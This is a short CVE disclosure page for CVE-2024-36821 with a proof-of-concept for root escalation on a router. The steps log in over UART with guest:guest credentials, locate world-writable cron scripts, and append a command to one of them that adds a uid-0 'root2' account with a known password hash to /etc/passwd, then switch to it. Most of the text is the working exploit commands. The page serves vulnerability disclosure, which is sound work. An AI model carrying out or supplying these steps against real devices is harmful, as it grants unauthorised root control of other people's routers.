CVE-2024-36821

The public reference that contains the minimum require information for the vulnerability covered by CVE-2024-36821

The original video with PoC you may find on the video -> https://www.youtube.com/watch?v=6vHno0ik7JY

The PoC:

1. Connect to the router witnin UART conenction

2. Using guest:guest credentials, log into the system

3. Using find / -perm -777 -type f 2>/dev/null command, find files with read-write-execute permissions:

   1. /tmp/cron/cron.daily/sysinfo_cleanup.sh
   2. /tmp/cron/cron.daily/devicedb_backup_daily.sh
   3. /tmp/cron/cron.hourly/sysinfo_cleanup.sh
   4. /tmp/cron/cron.every5minute/sysinfo_cleanup.sh
   5. /tmp/cron/cron.everyminute/conntrack_collector.sh
   

   

4. Check the owner by ls -al /tmp/cron/cron.everyminute/conntrack_collector.sh command

5. Generate the password by openssl passwd Abracadabra command

6. Edit /tmp/cron/cron.everyminute/conntrack_collector.sh, adding to the end the new generated password:

   echo "root2:UlPYin76ss0w2:0:0::/:/bin/sh" >> /etc/passwd
   

   

7. Wait for a minute

8. Switch user into root2 by the next command

   / $ su root2
   Password: Abracadabra
   ~ #